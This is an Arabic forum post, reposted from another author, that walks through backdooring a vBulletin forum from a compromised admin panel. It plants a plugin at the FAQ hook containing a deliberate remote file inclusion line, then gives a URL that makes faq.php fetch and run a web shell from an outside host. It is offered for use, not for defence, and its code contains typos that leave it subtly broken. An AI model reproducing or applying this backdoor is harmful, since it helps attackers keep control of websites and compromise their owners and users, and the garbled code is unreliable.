مرحباا اخوااانى هذا الشرح منقول من متكى ..
عن كيفية تلغيم المنتدى بثغرات الفايل انكلود عند الوصول للوحه التحكم طبعا الكل برفع الشل من خلال Plugins & Products ويكون الشل بامتداد xml لكن لقيت انا هاي الطريقه فعجبتي وحبيت انقلها لكم
السلام عليكم ورحمه الله وبركاته ,, الموضوع: تلغيم اي كود تنفيذي او غيره من لوحه التحكم admincp للمنتديات vBulletin الطريقه : اتبع الشرح بالصور
اول شي بعد ماتدخل لوحه التحكم ,, تروح على اليمين تحت عند (
المنتجات والاضافات )
من تحتها تختار (
إضافة برنامج مساعد جديد )
كالصوره التاليه:
بعدين تختار مثل الصوره التاليه:
اول اختيار تخليه مثل ماهو
ثاني خيار تختار وين بتحط اكوادك بأي موقع ,, وحنا اخترنا بدرسنا الاسئله الشائعه والموقع اسمه faq_item_display
بعدين كمل مع الصوره التاليه :
مثل ماتشوف في المربعات
الاسم
بعدين بالمربع الكبير تحط الكود الي تبي تستخدمه وانا حطيت الكود التالي :
كود:
include ($GET_[sniper]);
وهذا الكود يقوم بعمل انكلود للمتغير الي اسمه sniper
بعدين تحدد الخيار الي تحته الى نعم وبعدها تضغط حفظ
الان تروح لملف الاسئله الشائعه وهو faq.php وراح تحصل الخطاء التالي ,,
دليل ان الكود انزرع وشغال
----------------------------
الان كل الي عليك انك تسوي الاستغلال كذا
كود:
www.site.com/vb/faq.php?sniper=http//sniper.com/shell.txt?
وراح تشوف
الشل اشتغل معك بالشكل التالي:
تحياتي وتقديري
كل الشكر للمبدع
متي ورا الشمس
(اتعلمو مني بنقل وبحط الحقوق بكل فخر )
لا تسرقو هذا افضل حل للجميع